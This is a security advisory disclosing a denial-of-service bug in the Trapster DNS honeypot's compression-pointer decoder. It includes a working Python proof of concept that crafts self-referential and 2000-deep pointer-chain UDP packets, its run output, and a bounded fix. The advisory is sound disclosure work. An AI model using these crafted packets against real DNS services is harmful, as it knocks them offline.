GHSA-mxwc-wh95-pw4g

## Summary

`trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).

## Severity

Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.

## Affected component

- File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`). - Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port. - Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`.

## Details

`decode_labels` implements RFC 1035 §4.1.4 name compression:

```python def decode_labels(message, offset): labels = [] while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) offset += 2 return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer ... ```

Each compression pointer triggers a fresh recursive call to `decode_labels`. There is:

- **No cycle detection** — a pointer that targets its own offset recurses forever. - **No depth bound** — a chain of distinct forward pointers recurses once per pointer.

Either shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.

This is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.

## Proof of Concept

Real-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`.

`e2e_poc.py`:

```python import asyncio, struct, socket, sys from trapster.modules.dns import DnsHoneypot from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353 captured_loop_exceptions = []

def build_benign_query(qname=b"example.com"): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00" return header + labels + struct.pack("!2H", 1, 1)

def build_self_pointer(): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name return header + name + struct.pack("!2H", 1, 1)

def build_pointer_chain(depth=2000): header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0) name = struct.pack("!H", 0xC000 | 18) qtail = struct.pack("!2H", 1, 1) chain = bytearray() for i in range(depth): chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1))) chain += b"\x00" return header + name + qtail + bytes(chain)

def send_udp(payload, timeout=1.0): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout) s.sendto(payload, (HOST, PORT)) try: return s.recvfrom(4096)[0] except socket.timeout: return None finally: s.close()

async def main(): loop = asyncio.get_running_loop() def handler(loopobj, context): exc = context.get("exception") captured_loop_exceptions.append((repr(exc), context.get("message"))) print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}") loop.set_exception_handler(handler)

hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"}, logger=BaseLogger(node_id="e2e"), bindaddr=HOST) await hp.start(); await asyncio.sleep(0.4) print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")

print("=== NEGATIVE CONTROL: benign query example.com A ===") captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3) print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}") assert len(captured_loop_exceptions) == 0 print(" -> benign packet parsed cleanly, no exception\n")

print("=== VECTOR A: single self-referential compression pointer (cycle) ===") captured_loop_exceptions.clear(); pkt = build_self_pointer() print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")

print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===") captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000) print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")

await hp.stop(); print("ALL ASSERTIONS PASSED")

if __name__ == "__main__": sys.setrecursionlimit(1000) asyncio.run(main()) ```

Verbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`:

``` [deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A === loop exceptions after benign packet: 0 -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) === packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself) [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) === packet (4019 bytes) = 2000-deep forward pointer chain [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no depth bound)

ALL ASSERTIONS PASSED ```

The negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

## Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.

## Suggested fix

Make `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`'s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise "unknown label encoding"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler.

Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion):

```python def decode_labels(message, offset): labels = [] return_offset = None max_allowed_pointer = len(message) while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) if return_offset is None: return_offset = offset + 2 target = pointer & 0x3FFF if target >= max_allowed_pointer: raise ValueError("invalid DNS compression pointer") max_allowed_pointer = target offset = target continue if (length & 0xC0) != 0x00: raise ValueError("unknown label encoding") offset += 1 if length == 0: return labels, return_offset if return_offset is not None else offset labels.append(*struct.unpack_from("!%ds" % length, message, offset)) try: labels[-1] = labels[-1].decode() except UnicodeDecodeError: labels[-1] = str(labels[-1]) offset += length ```

A fix PR will be supplied from a temporary private fork during the embargo.

## Credit

Discovered and reported by tonghuaroot.